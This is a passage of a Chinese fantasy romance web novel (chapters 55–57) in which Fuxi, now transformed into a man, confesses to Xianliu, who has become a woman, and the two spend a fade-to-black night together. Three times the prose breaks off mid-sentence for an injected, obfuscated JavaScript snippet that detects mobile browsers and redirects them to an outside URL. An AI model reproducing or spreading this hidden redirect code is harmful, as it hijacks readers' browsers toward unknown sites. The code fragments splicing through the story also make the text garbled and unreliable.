胸口绷得难受,合身的衣裳变得束手束脚,她抬手,就着月光观察自己,才发现袖口也短了一截。 指节修长,骨节分明,手背隐隐可见跳动的青筋。昏沉的脑袋立刻如被冰霜,她睁大眼睛,缓缓从床榻上坐了起来,她抬手下意识抚向胸前,肌肉紧实,十分平坦。 扶西忍住惊呼的冲动,连滚带爬地滚下床榻,来到铜镜前,镜中人棱角分明,长眉飞入鬓,眸色映月华,五官依稀可见从前模样,却是个实打实的俊俏儿郎。 扶西顿时错了呼吸。 她抬手,狠下心重重揪了揪脸颊。 很疼,不是梦。 沉默许久,她迟疑且尴尬地将目光投向双腿之间。 啊啊啊啊啊啊! 去了一趟天界回来,她居然变成了男人! 惊天的尖叫引来了众人的注意,尤其还是个陌生的男声,山中众人无一不是绷紧心弦,小心翼翼逼近扶西房中。 随着砰的一声,房门被陆眠撞开。 十一挥袖,房中立刻灯火通明,照亮所有的凌乱不堪,还有屈腿窝在镜前那个牛高马大的身影。 衣衫凌乱,面色发红,闻此动静,他缓缓转过头来。 十一率先开口:“你是谁?山君呢?” 扶西回过头来,迷迷糊糊地看着众人,她自然是有些混沌不清,只定定地看着十一。 陆眠提脚挡住他视线,神色颇为不满,似乎下一刻就能举起院子里的水缸砸破她的头。 “十一。”扶西开口,耳畔传来自己全然陌生的男声,嗓音稍低,但很清澈。 十一呆愣在原地,她扯了扯陆眠的衣袖,从他背后探出半个脑袋,细细地观察起扶西,半晌过后才反应过来,此人五官与扶西几乎一模一样,只是脸型和身量稍健硕一些:“莫非,你是山君的兄弟?” 扶西干巴巴笑了两声,缓缓站了起来,夜风拂过她短了半截的裤腿,激得裸露在外的皮肤起了一层鸡皮疙瘩:“不,我就是扶西。” 自天界归山,扶西始终郁郁寡欢,初时十一还问起过献流,可扶西一听他名字便小发雷霆,十一也不敢再提。 陆眠说得头头是道,猜测是那献流恢复身份,对自己在下界与山君的相知相处避而不谈,抑或是竭力否认,击碎了扶西一颗柔弱的芳心,才叫她这样闷闷不乐。 陆眠猜测,山君做女子被男人伤了心,故而改做男人。 “这还能由自己选吗?”十一不解。 陆眠思忖一番:“我们不行,也不代表山君不行啊。” 此刻,改做男人的扶西立在海边的礁石上,十分不解地打量着自己的身体,她思前想后,最终将怀疑的矛头指向献流最后递给她的那颗药丸。 之前回来光顾着伤神,似乎忘了些什么。 她心中一惊,立刻转身望回去,镇山石下,十一陆眠小侯也在看她,扶西终于反应过来。 扶西山还是没有恢复从前的模样,这意味着…… 抬手运气,这才发现真身并未回到体内。 莫非,献流骗了她? 事已至此,再多哄骗,又有什么意义? “哗——”海浪打上礁石,冲湿了扶西的双脚,她有些慌乱地往后退去,却一脚踩空踏进了海水之中。 肩膀忽而被一双手臂托住,青色的光芒将扶西笼罩其中,她有些不明所以地升高,立正,而后看着立在她前方那张充满忧愁的脸。 青泽。 “山君,求你帮帮我。”他说完话,有些怔然地望着扶西,“抱歉,我认错人了,敢问仙君可知扶西山君何在?” 扶西朝他一拜:“是我,我就是扶西,你没认错。” 扶西话未完,青泽便已伏倒在地:“山君,殿下有难,我只能找你了。” 扶西自然丈二和尚摸不着头脑,青泽不等她反应过来,便拉着人潜入了海底。 据他所言,魔界右护法卫和这一世的历劫十分顺利,没有了扶西等人的掺和,她在人间与一男子青梅竹马,互许终生,生儿育女,很是幸福美满。 可惜大不幸,这三世与她历劫之人都不是那个她心心念念的战神献流,而是他的佩剑——无定。 此刻劫数终了,剑归九天。 三人筹谋策划,一朝成空,忙活了半晌,全是徒劳。故而魔君卫风怒气冲天,舞着天魔杖冲入龙宫,打伤了一众虾兵蟹将,直捣龙王殿,老龙王被他嘲弄一番,后遇到的麟寻自然也免不了一通奚落。 “麟寻,你可还记得自己曾经说过的话。” 麟寻面色平静,垂眸从容道:“我不还手,随你吧。” 而后她一动不动,任君处置。 若是往常,他们自不会阻拦,可麟已经因与青泽的荒唐事,加上三人筹谋设计献流之事被老龙王重罚,卧床不起许久,要是真被那天魔杖捶上几回,只怕是血溅当场,魂归西天了。 扶西:“那与我何干,左右是你们的事。” 她心头难受得紧,说不出什么情绪,反正只要一提到献流就不大舒服。 “那卫风开出一个条件。”青泽顿了顿,似乎有些难为情,“他说,只要殿下为他窃来无定剑,便既往不咎。” 扶西嘟囔:“那,那她直接去就是了。” “殿下算计过神君,若再窃走他的宝剑……”青泽没把话说完。 龙王殿中,卫风手执天魔杖,目眦尽裂,怒发冲冠,他睥睨地扫过殿中众人:“啰啰嗦嗦,言而无信,西海龙王不过如此,我兄妹不善于人心,竟被你算计玩弄,麟寻,今日你若不答应为我窃来无定,我就如从前的约定打死你吧。” 他将天魔杖重重杵到地上,奔涌的魔气自地底萦绕而起,很是可怖。 老龙王抬手,胡子都气歪了:“你,你无法无天!” 卫风不理会他,只看着麟寻。 她唇色苍白,强撑着站立,抬眼一字一句道:“无定是师兄亲自淬炼,更是从不离身,你叫我登天行窃,把我当什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494554|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么人了?” “那我闹到天君面前去,闹得六界无人不知,看你怎么做人!” 麟寻咽下口中腥甜,步步寸进:“我不是什么好人,你们也不遑多让,此事闹开,卫和还怎么面对献流,面对天君,你都想过吗?” “那你直接跟他要。”卫风破罐子破摔,一副不讲理的模样。 “无定之于师兄,便如天魔杖之于你,换做是你,会给我吗?”麟寻蹙着眉,定定地望着他。 卫风嘶了一声,满脸的烦躁。 “殿下!” 青泽自殿外而来,忙不迭飞到她身侧,扶住她有些摇摇欲坠的身形,轻声道:“你看谁来了?” 话音刚落,众人只见一个身量高挑,衣袖翩然的男仙缓步踏入殿中,眉目如画,面容眼熟,却怎么也想不起来。 “他是谁?”麟寻出声,都是气音。 扶西咧嘴笑了笑:“殿下,这么快你就不记得我了?” 麟寻惊诧地望着,瞧着他那双调皮的眼,忽而反应过来:“扶西?你怎不在天界?” “我在天界做什么?” 麟寻眉头皱得更深:“你自己回来的?” “献流让我回来的。” 麟寻摇头,心头涌起一股事情脱离掌控的担忧:“你们吵架了?” 扶西烦得紧,总问这些做什么:“不是吵架,是绝交了。” “你,你……”麟寻咳嗽起来,“怎么会这样……” 扶西摆摆手,示意她别再说自己了:“青泽已将来龙去脉与我说了。” 青泽在麟寻有些审问的目光中垂下头:“殿下,是我自作主张,可眼下,山君确实是最合适的人选了,她与献流交好,到底是可以商议的。” “婚期将近,殿下再不能受伤了。”青泽眼角垂泪,声如蚊呐。 扶西愣住,婚期将近? 谁的婚期?献流的?麟寻的? 献流和麟寻的! 她心头又开始涌起阵阵如有丝绕的束缚感,难受得很,首先翻上来的情绪竟是不快不甘,而后又是连绵不绝的委屈。 虽然这是他早前的婚约,可麟寻不喜欢他便罢,还有了青泽和一大堆的孩子,他也不在意吗? “不可。”麟寻上前按了按扶西的手,转向卫风,“若要赔偿,西海珍宝无数,任君挑选。” “不,我就要无定。” 麟寻察觉出不妥来:“卫和,卫和她不会是……” 卫风立刻出言打断:“何须多问,照做就是!” 扶西的目光在两人身上来回数次,脑海中不断浮现出献流那张时刻平淡的脸,她忽然想起他说过的话。 他说:“以后有雷劫,我帮你挡,这样就不怕被烧焦了。” 骗人! 他要是真和麟寻成了亲,以后凭什么帮她挡雷劫? 扶西只觉得心头堵塞的石头被强有力的流水一点点冲开,淤积的泥沙滚滚而下,冲破她的心防,冲开她混沌糊涂的意识。 往事历历在目,她喘息着缓缓扬起唇角,又在想起那个刺耳的“婚期”时慢慢扯平,她等不了了。 “我去!” “我现在就去!” 55. 我开花了! 月色之下,献流端坐院中,双手轻轻拂过无定剑身,如镜的剑身忽而剧烈的抖动起来。 他蹙起眉头,此剑归天不过两日,他怔然地望着镜中倒影,抬手抚上面颊。 前几日忽而变作女身,打了他个措手不及,寻本溯源,竟是那日送别扶西时吃下的药丸。 药王座下弟子匆忙,他便依着他给的提示取走了药架上的瓶子,等药王闻讯赶来时,已然晚了。 望着面前身量高挑,眉目浓丽的仙女,他只好咳嗽两声,只道此药是他刚研制的,从未有人服过,他也不知药效会维持多久。 更要命的是,所有的仙术都无法遮掩,变幻之术更是别提,连天君也无可奈何,献流只得以此容颜度日。 他轻叹口气,已过去了两日,竟丝毫没有恢复的迹象。 献流心想,扶西当时也服了此药,不过她本就是女子,服药应当并无大碍,只是真身此刻还留在他体内。 怎么给她送回去呢? 也不知贸然到访,会不会惹她厌烦…… 献流饮了手边的一盅酒,冰凉的液体滑入喉咙,趁辛辣的刺激并未传到脑袋,他起身一脚踢向剑身。 无定亮如星辰,高高飞起。 “啧!”卫和忍不住惊呼出声,“这人是谁!居然敢踹此剑?”她俏丽的五官蹙在一处,满头满脸的不高兴。 原来那跑进龙宫闹事的,并非卫风本人,而是他妹妹卫和假扮的,也就是麟寻重伤,不曾察觉,否则又是一顿好吵。 “兄长向来急躁不讲理,我这么做也不算败坏他的名声。”她嘿嘿一笑,拉起还有些摸不着头脑的扶西浮出海面,登上彩云。 她说自己先前就悄悄将天界摸了一遭,本欲昨日就窃走宝剑,谁料准备不够周全,差点被发现了,只好灰溜溜跑回魔界。 一来二去,她便想出个法子,她偷不到,总要找个帮手才是。 “虽没有麟寻助力,可你的事我都听说了,传闻献流失踪良久,登天时带了个你回来。” 扶西腹诽,这样的事,怎么都传到卫和耳朵里了。 卫和看出她的窘迫:“你放心,是因为我时时关注他的动向,并非从别人那里听来的。”她拍了拍扶西的肩膀,“你放心,我不会乱说的,只是你为何变作男子模样?”言罢她抬手施法,一时间疑惑不已。 三十六种变幻之术一一试过,扶西高大的身躯,俊俏的容颜一动不动,那双天真无邪得发蠢的眼睛依旧盯着她。 “奇了!” 扶西挠头:“算了,先登天。” 于是两人在卫和安排下偷渡南天门,打晕前往启明殿送东西的仙娥,取而代之,而后堂而皇之地进入启明殿。 此刻便偷偷扒在灌木丛后观察着院中的献流。 扶西望着那抹白色的芊芊倩影,白衣曳地,神色冷冽,恍若冰霜的眸子没什么情绪,他只坐在树下,用帕子一下又一下地拭着手中长剑。 献流这张脸,说是倾国倾城也不为过,扶西看得出了神,直到卫和那句裹着心焦的话落入耳中。 “那可是集天华地宝的神剑,她居然用脚踹,我忍不了,我要去跟她打一架。”卫和愤愤不平。 扶西忙按住她:“你看不出来?” 卫和不解:“看出来什么?献流随便把剑给人,怎么就不能给我呢?” 扶西愣了愣,立刻回过头去再看了看院中翻飞的身影,确认一番:“她便是献流。” 卫和:“?!”她目光在两人身上来回半晌,回忆如潮水般涌上心头,她还记得瑶池初见献流,他还是个丰神俊朗的男仙,如今竟变成了女人? 她晃了晃脑袋:“怪不得现在对他没什么感觉了,原来她是女人……” “呃,其实,其实……” “不好,她是女人!”卫和抓住扶西的胳膊,“无定已开灵智,再和献流这种貌美的人呆在一处,会出大事的!” 心中的猜想印证了几分,她拉了拉胸口紧绷的衣裳:“等等,再等一下。” 扶西望着献流恍若蝴蝶的群裾扫过地上的落叶,他身形滑过一道优美的弧度,月华似水柔和,勾勒出献流弧度流畅的侧颜。 他面容平静,向来如此,可今时今刻,扶西似乎从中读出几分惆怅。 剑柄拴了一条迎风飘扬的彩绸,就着剑尖破开的风势轻轻飞舞,环绕着献流白色的身影,十分惹眼。 扶西看到一半,忽觉有些眼熟,她回过神来,这正是当时他在扶西山所舞的一曲,只是当时手里握着的,不是剑,是鱼尾…… 不对,也是剑。 真是他的剑! 扶西后知后觉地拍了拍自己的脑袋,唇角不自觉勾起的笑容惹得卫和愈发不耐烦。 “还要等到什么时候?” “此刻剑在他手,人剑合一,你怎么去夺?”扶西不看她,依旧望着献流翻飞的衣角。 她真的很喜欢看。 惊变陡生,献流不知是神思恍惚还是心有疑虑,本应落在砖石上的左脚偏了偏,加上对身体的不够熟悉,他有些出神地往地上跌去。 小事而已,他想。 衣袖飞扬间,他忽然看见个身量颀长,衣裳紧绷,动作有些笨拙的仙娥朝他奔来,她脸上急切的神色看得献流有些出神。 不像他快跌倒,倒是像他要死了一样。 “小心——” 那仙娥出声,却是个浑圆清澈的男声,他手脚虽像是新安在躯干上的,极力奔跑过后,还是稳稳托住了献流下坠的身体。 还十分贴心地搂着他转了半圈。 “你没事吧?”来人语气急切,不像是装的。 献流鼻尖正抵在来人胸膛之上,这薄薄的衣裳根本箍不住他胸前两块紧绷的肌肉,他一个大男人却穿仙娥的衣裳。 不是变态是什么? 只怕是他变作女人的消息传了出去,有胆大的前来送命了。 他抬眸,目送冰霜,却在看到男人的脸时怔住了。 长眉入鬓,眸子清亮,饱满的唇一张一合,几乎同扶西一模一样的五官,只是被拘在一张稍显锐利的脸庞中。 “献流,献流……” 他回过神来,意识到紧紧怀抱着他的人正是扶西时,整个身体不听话地热了起来,喉咙都有些发紧:“扶西?是你?” 她一眼就认出了他,他亦然。 扶西心中雀跃。 她重重点头,连忙把献流抱得更紧了:“这两天,我特别想你,我明白了一些事情,所以必须来找你。” 献流崩腾滚烫的血液立刻安静下来,纵然扶西怀中温暖如春,他也忍不住揣测提防:“师父,不是已经替你解了契?” 契?什么契? “哦!扶西记起来,是啊,天君替我解了契,可这跟我想说的话没有关系。” 献流从她怀里退出来,垂着头有些沮丧:“那便是为了真身了。” 扶西听到这里很是不高兴,连忙扯着他的手又把人按进怀里揉了一番:“你又胡说八道!”她把脑袋搁在献流肩头上,自然地放松身体,“才不是真身,我承认,之前在扶西山,我当时说那些话半真半假,不过是怕你恢复身份找我算账。” 献流被扶西搂得紧紧的,他耳旁传来扶西速度加快的心跳声,不知不觉间,他的心跳也加快了。 她说这些做什么? 扶西一把将他薅起来,双手紧紧箍住他的肩膀,眸色中满是郑重其事:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507188|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但此时此刻,我接下来要说的话,绝不是骗你。” “献流,我喜欢你!我想跟你成亲!”她喉头动了动,“你不知道,我开花了!梦中的桑树枝头上全是花苞,我们木头只有心动才会开花。” 她一字一句道:“你就是那个叫我心动之人。” 噼里啪啦说完,扶西颇有些紧张地望着献流,等待他的反应。 可他依旧垂着眼,神色淡淡。 扶西缓缓松了些手上的力道:“如果你,你接受不了,我……” “哐当——” 扶西下意识地循着声音来处低下头,正看到躺在砖石上的无定剑。 双颊传来温热的触感,原来是献流抬手捧住了她的脸庞,掰正了她的脑袋。 她极快地将目光移回献流脸上,见他上前一步,仰起一张风华绝代的脸,踮脚吻了上来。 他唇间带着微凉的夜风和好闻的香味,扶西鼻尖颤了颤,一双无所适从的手在空中滞了一会儿,便重重按回献流背上。 “谁说……”献流道,“谁说我接受不了……” “我当然也喜欢你。”他声音颤抖,吻得愈发深了,他激动的心情溢于言表,颤抖的齿关唇舌迫不及待地凑得更近,只想汲取更多的让人沉醉的木香。 扶西听到这里,脸颊更加通红,她开心地回应着献流有些笨拙的亲吻,一双手缓慢地移到他双颊边,将他的脸往上捧了一点:“那你答应我,不准和麟寻成亲!” 他一双手缓缓松开扶西的脸颊,放松地游走到她的双肩上,而后慢慢收紧,搂住她的脖颈。 “我已同师父言明……”扶西不慎咬到他舌尖,他闷哼一声,“……退婚。” 扶西很满意,更来劲了:“那之前说的挡雷劫,还算数吗?” “算……嗯啊……” 也不知道过了多久,或许只是一小会儿,扶西忽然想到自己来这里的目的。 遭了!万万不能再欺骗献流,凡事有商有量,才能长久。 她依依不舍地在献流唇上轻轻咬了一下,喘息着后退,望着献流那张带着红晕的脸,她唇间微微扬起,忍不住又低头在他唇角亲了一下。 献流似乎有些懵,他抬手抚了抚唇角,有些羞涩地低下头。 “我还有事跟你坦白。” “嗯?”献流望着扶西那副熟悉的心虚模样,暗觉不妥。 “魔界右护法卫和装作卫风威胁麟寻替她偷剑,青泽把我当救兵搬来,我便和她上了天。”扶西抬起两个手指放在耳边,“她就躲在灌木丛里,但是你可不可以不要罚她,她偷剑也是因为实在喜爱,不如你就成全他们了吧!” 她一口气说完,努力维持着微笑,看着献流慢慢扯平的嘴角心头震荡,仿佛等待砍头的死刑犯。 “为什么现在才说?”献流问。 “我,我……”扶西挠了挠头,“刚才不是忙着跟你亲嘴吗?我想多亲一会儿。” 献流的脸颊肉眼可见地红起来:“晚了。” “啊?”扶西拉住他衣袖,“这么快吗?我才刚刚同你表白,你也答应了,能不能再给我一次将功补过的机会,我发誓,再也不会骗你了!” 献流叹了口气,抬手想摸摸扶西的脑袋,但好像够不着,只好捏了捏她脸颊,而后指向从灌木丛中悠悠荡荡站起来的卫和。 她将无定扛在肩上,对两人你侬我侬的行径嗤之以鼻,她状似挑衅地将剑身放到自己面前。 重重吧唧一口。 “只有你们会亲嘴?哼!” 言罢,她大摇大摆地化作流星,消失在天尽头。 扶西指着流星尾巴:“可是方才那剑身,被你踹过一脚,你说卫和亲之前,擦干净了吗?” 56. 献流,你的身材太好了! 献流轻笑一声,将手抬了起来。 “无定——” 他出声轻唤,掌心之间雷电奔涌,扶西恍然大悟,抬眼望着卫和离开的方向,拉了拉嘴角。 “嗖——” 一道极亮的弧光从天边飞来,伴随着卫和的尖叫,无定的剑柄已稳稳当当地落到了献流手上。 卫和哐当一声跌倒在地,摔了个大马趴,她揉着破皮的掌心咬牙切齿,小声嘟囔自己居然忘记了这一茬。 她抬起头,与俯视她的两人对视。 …… “还不扶我起来?”她望着扶西,嗔怪道。 扶西哦了一声,强忍住嘴角的笑意将卫和扶了起来,又贴心地替她抚平衣裳上的褶皱。 卫和目光定在献流手中长剑之上,恨恨道:“此剑有灵,神君泯灭人性,依旧将他当做物品,这不公平!” 献流打量着她面容,依扶西所言,这位应当就是那所谓的魔界右护法卫和:“我的剑,与你何干?” 卫和嘴皮子嗫嚅两下,她下界与无定历劫之事莫非献流不知?她该怎么开口呢…… “哎呀,是护法下凡与无定历劫,互许终身,如今神魂归位,余情未了,她才上天来到这里的。” 卫和有些气恼又羞愧地望着扶西,颇有些费解,这样难为情的事情,怎么从她嘴里说出来跟喝白水似的。 “原来如此。”献流掷出宝剑,指尖光华流转,耀眼的光柱和连绵不断的仙力以极强的力量注入剑身之中。 无定又剧烈地抖动起来,逐渐变大,变长,清晰的外形渐渐被光晕包裹,长出四肢和脑袋后缓缓落到了地上。 光芒如潮水般退去,露出个翩翩少年来,他双眸颜色不似常人,是少有的金色,此刻他俊美的容颜上露出一两分不解。 “神君!”无定显露真身,立刻跪倒在献流面前,“神君召唤,所为何事?” 献流朝卫和的方向偏了偏头。 卫和有些呆愣地看着无定,用目光描摹他的轮廓,再和记忆中那个与她感情甚笃的男人一一对比。 容貌、神情、声音、身量。 她忽然觉得面前的人有些陌生。 无定起身,朝卫和拜了一拜:“护法找我,所为何事?” 卫和仔细打量他的表情,脑海中反复回想他问的这些话,由陌生带来的无措感如潮水般席卷而来,她忽然答不上来了。 “在,在凡间……”她紧咬住牙,日以继夜的思念居然在见到正主时化作没有落处的飞灰,她说不下去了。 无定闻此,立即跪了下去:“护法恕罪,凡尘种种,皆是意外。”他抬眼注视着卫和的眼睛,“我封灵识于剑中,本意便是远离人世,隔绝凡思,凡间许多事情,并非出自我本意,若有对不住护法的地方,还请见谅。” 卫和只顾着沉浸在自己有些忧伤的回忆里,捕捉到一句皆是意外,只觉得心头更痛。 “命书所困,与你无关。”卫和垂着脑袋,整个人没了来时的兴高采烈,亦或是见到的无定模样与她想象中大不一样,她很是难过。 末了,竟流下一滴泪来:“罢了,我……”话未完,她便感受到眼下一抹冰凉,一抬头,无定不知何时走近了两步,正在为她拭泪。 这动作太过自然亲昵,连他自己都没反应过来。 “护法恕罪!”他面色惊诧,连忙撤手退了回来。 卫和却不肯想让,她一把抓紧无定手腕,强迫他与自己对视:“你要不要跟我回魔界?” 无定金眸颤动:“去做什么?” “你别装了,你嘴上隔绝凡思,可你方才的动作分明就是还念着我,和我回魔界,有什么不妥?” 无定连忙将手抽了回来:“不!”他抬手念诀,身体立刻化作一股水流似的光,结冰一般就要凝作长剑模样。 卫和抬起掌心,火焰立刻烧化了他身形,无定只得又变回人形来。 扶西看不下去了:“你们都好好想一下。”她上前,按住无定企图再次施法的手,在他惊讶的目光里劝和道,“给自己一个机会吧,以后要是后悔就来不及了。” 无定似乎被她这句话触动到,缓缓放下了施法的手:“山君的意思,是劝我同护法去魔界吗?” “你可以这么想,你又不是一去不回,万一这只是你当下的想法,以后你不这么想了,而卫和那个时候却不想同你在一处了,岂非可惜?” 卫和望着他不说话。 无定垂下脑袋,看样子有些犹豫,于是去看献流。 献流点了点头。 他眨巴着眼睛:“既然如此,护法,我还是……” 话音未落,卫和已经抬手召来一阵速度又快力量又大的龙卷风,将无定卷入其中,听着他被惊吓发出的声音,她心满意足地点了点头。 “走了!”她昂起头颅,朝扶西眨了眨眼睛,而后携无定化作流星远去。 送走这尊大佛,扶西长长舒了口气,折身回到献流身边,目光忍不住停留在他的脸上。 献流被她看得有些羞赫,心不在焉地抬手摸了摸自己脸颊:“有,有什么东西吗?” 扶西摇摇头:“献流,没想到,你变成女人,竟这样风华绝代。”扶西回想着自己听过的戏,“若在人间,定是个祸国殃民的妖妃。” 献流轻笑一声:“那些东西,少看。” 扶西眼睛一亮,似乎是想到了什么,她连忙去拉献流的手,连拖带拽地将人扯进屋里。 “怎么了?”献流不解。 扶西面色酡红,做了许久的心理准备,终于鼓起勇气扶住献流肩膀:“我开了花,后面就是授粉,结果了。” 献流依旧不解,他偏了偏头,抬手去触扶西的额头,却发现很烫:“受凉了吗?” 扶西却抓住他的手指,轻轻捏了捏,声音都变得有些喑哑不清:“就是,就是,结果的过程,你要不要参与一下?” 就算再迟钝,献流也反应过来,他试探性地开口:“参与?是哪种参与……” 扶西急得如热锅上的蚂蚁,她结结巴巴捋了半天:“你还记得红生吗?” 献流闻言,眉头稍微皱了皱:“提他做什么?” “红生是安阳老头的儿子,老头当年心动开花,结果落子一气呵成,种子长成了红生,和他一模一样,等老了也是他的模样。”扶西尽力解释着自己的意思,她咬咬牙,干脆将所有的羞耻委婉抛诸脑后,“我的意思就是,我的种子出来前,你要不要跟我睡个荤觉,到时候孩子既像你,也像我……” 她一鼓作气说完,脸颊已经快被烧破了,整个人上上下下,里里外外红作一团,涌动不歇的热气紧紧裹着她的身体,叫她愈发难为情。 扶西只觉得弹指的时间被无限拉长,她有些惊恐于自己的大胆,却又在回味过来之后敬佩于自己的大胆。 如果献流答应,她就顺水推舟,如果献流不答应,她就…… “好啊。”他说。 是个好消息,可她却更难为情了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533884|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不过,我们现在就要这样吗?”献流问她。 对啊,扶西下意识地望向自己的身体,她如今是个不折不扣的男人,献流是个不折不扣的女人。 应该可以。 “可,可以吗?”扶西阖眼,能感应到自己枝头上满坠的花苞,无一不是躁动异常。 她脑海里不断地回想着自己看过的那些戏文话本,眼珠子滴溜溜地转,灵光一闪。 她上前两步,一个打横将献流抱了起来,依托这具健壮的身体,她竟一点也不觉得献流重。 犹记得当时在凡间,她都怕自己被献流给压死了。 “我先这样,你觉得行吗?”扶西水汪汪的眼睛盯着献流有些躲闪的眸子。 献流唇角弯弯,抬手拂过身旁烛台,亮如白昼的屋子里瞬时暗了下来,只有几缕淡淡的月光,还能叫两人看清对方的神情。 “对对,就是这种感觉。”扶西抱着献流走向床榻,“月黑风高夜……” 献流忍无可忍,将扶西搂得更紧,抬头用嘴堵住了扶西所有无厘头的话。 一回生,二回熟,扶西只觉得自己飘飘欲仙,阵阵花香在她鼻尖游走,献流被微风吹起的发丝丝丝缕缕隔着皮肉挠她的心。 “啊——” 扶西左脚绊右脚,抱着献流跌在榻上,两人唇齿相撞,都先是一声轻轻的痛呼,而后才是参差不齐的笑声。 “这么短的路,你也能跌?” 扶西:“我看不见嘛。” “想来是月色不够亮了?” “不是,方才我闭眼睛了。”扶西转过头,与献流对视在一处,眸色中笑意更浓。 献流缓缓挪过来,抬手将她紧紧抱住。 恍惚间,扶西仿佛又看见献流头顶招摇的草叶,他不管不顾地挤进她怀里,说这里才是最温暖的地方。 扶西稍稍往后退了一点,抬手轻轻抚过献流眉眼,这是一双极其好看的眼睛,常年冷若冰霜的琉璃此刻悄然化冻,如盛春水,招摇晃荡。 扶西抚过他的鼻梁,最后轻轻停在他的唇上。 她闭上眼,缓缓吻了上去,她似当日一样慢条斯理地舔舐着,这次等待她的,不是一片僵硬的贝肉,而是渐渐热烈的回应。 两人都从初时的毫无章法到渐入佳境,扶西感受到脖颈上献流手掌的温度,不轻不重的摩挲让她头皮发麻,走过全身的酥麻感觉比起被海牢水幕电击更甚。 区别只在于前者让她觉得很是愉快,于是乎她往前半寸,吻得愈深了,她一双手不安分地抚在献流肩头,缓缓接近他的衣襟。 这个动作她做了太多次,以至于献流上衣全被她扒掉时扶西才反应过来,这样的事情急不得,怎么能一次性四五件全给扒了呢! 献流颤了一下,扶西瞬时有些出神,献流似乎很是不满,轻轻在她舌头上咬了一下。 他喘着粗气:“你……不认真……” 就着昏暗的月光,扶西在亲吻的间隙里看清了眼前那片白的晃眼的事物,她感受到鼻腔中一股温热的水流。 伴随着腥甜的气息,献流恋恋不舍地与她分开。 只见扶西两条鼻血触目惊心,她眨巴着眼睛,抬袖十分心虚地拂去,可立刻又流了出来。 献流衣裳半褪,顾不得找帕子,莹白的长袖已经凑了上来,他耐心地替扶西擦拭干净,焦急地询问:“这是怎么了?” 扶西的眼神飘忽,抿了抿唇,决定实话实说:“献流,你的身材,实在是太好了。” 57. 没事,再来一次 扶西感受到身体中澎湃汹涌的热意,她急促地呼吸着,双手颤抖,暧昧黏腻的空气将她紧紧包裹,摇曳的树影穿过窗棂尽数投在两人身上。 她紧张地告诉自己,没吃过猪肉,难道还没见过猪跑? 献流似乎比她还紧张些,可他那张向来没什么太大的表情,只窥到清冷眸子中一抹颤动迷离的神色。 扶西闷哼一声。 随即,献流有力的手掌又将扶西按下来,两人不分你我地纠缠在一处。 一炷香后,扶西颇有些尴尬地缩在床榻角落,她身上还披着献流的外裳,精致灵动的五官上全是委屈巴巴的表情,同这副健硕高大的身躯很不相配。 虽有些违和,却很合情理。 她抬手捂住热到不行的脸庞:“我,我也不知道自己怎么这么没用。” 初次出战,以失败告终。 她不解地蹙着眉,忍不住腹诽男人的身子就是没用。 献流强忍住面上的笑意,往她这边挪过来一些,抬手替她将散落在眉间的碎发轻轻拨开:“没关系,我相信你。” 扶西抬眼,水汪汪的眸子里存着些将落不落的泪,她猛然抬手抓住献流的双手,放在脸颊边蹭了蹭:“献流,你不怪我?” “这有什么。”他耳朵烫得不像话,用额头轻轻抵住扶西,“再试一次就好了。” 献流双颊通红,扶西亦不遑多让,她咬了咬下唇,终于重燃斗志,一个飞扑重重亲到献流唇上,打了他个措手不及。 一时间帷幔轻晃,如海浪奔涌,久久不歇。 树影外的月光悄然逝去,天光大亮,扶西缓缓掀起松软的眼皮,混沌的意识渐渐恢复正常,一张脸刷的又红了。 她抿唇笑了笑,望了眼身侧的献流,脑袋拱了两下,又钻进他怀里,高大的身躯将他臂弯填了个满满当当。 扶西身子缩得有点难受,于是抬了抬脖子,献流脖颈上那些青紫的痕迹顿时扑入她眼中,她怎么那么凶残。 胸口又有热意传来,扶西不解地蹙起眉头,耳畔传来地崩落石之声,五脏六腑中莫名传来膨胀的感觉,可身体表面却没有什么变化。 她又从献流臂弯中钻出来,穿好衣裳,抬手试了试,发现自己的修为居然恢复了! 这可是个天大的好消息,那是不是也意味着真身也回来了,扶西闭眼感受,而后又迷惑不解地睁开眼睛。 还是没回来? 她折身回去,只见献流睡得极沉,方才这样的动静都没吵醒他。扶西微微一笑,上前给他掖了掖被角,这才放心推开房门。 院心之中赫然一座七八尺高的假山,正对着房门,上头绿萝环绕,还挂着一只半死不活的麻雀。 扶西连忙上前将那只麻雀取下来,只见它浑身颤抖,双脚不正常地蜷缩着,扶西心疼地将其放在掌心里,给它顺了顺羽毛。 “这是怎么了?”她喃喃道。 听到她声音,麻雀睁开了乌黑的眼睛,原本好似病体的身躯骤如枯木逢春,它抖擞精神,猛地站了起来。 “山君!” 咦?这小鸟还知道她? “山君!” “怎么啦?”扶西用手指点了点它脑袋,“你没事吧?” 麻雀重重摇了摇头:“扶西山,扶西山……” 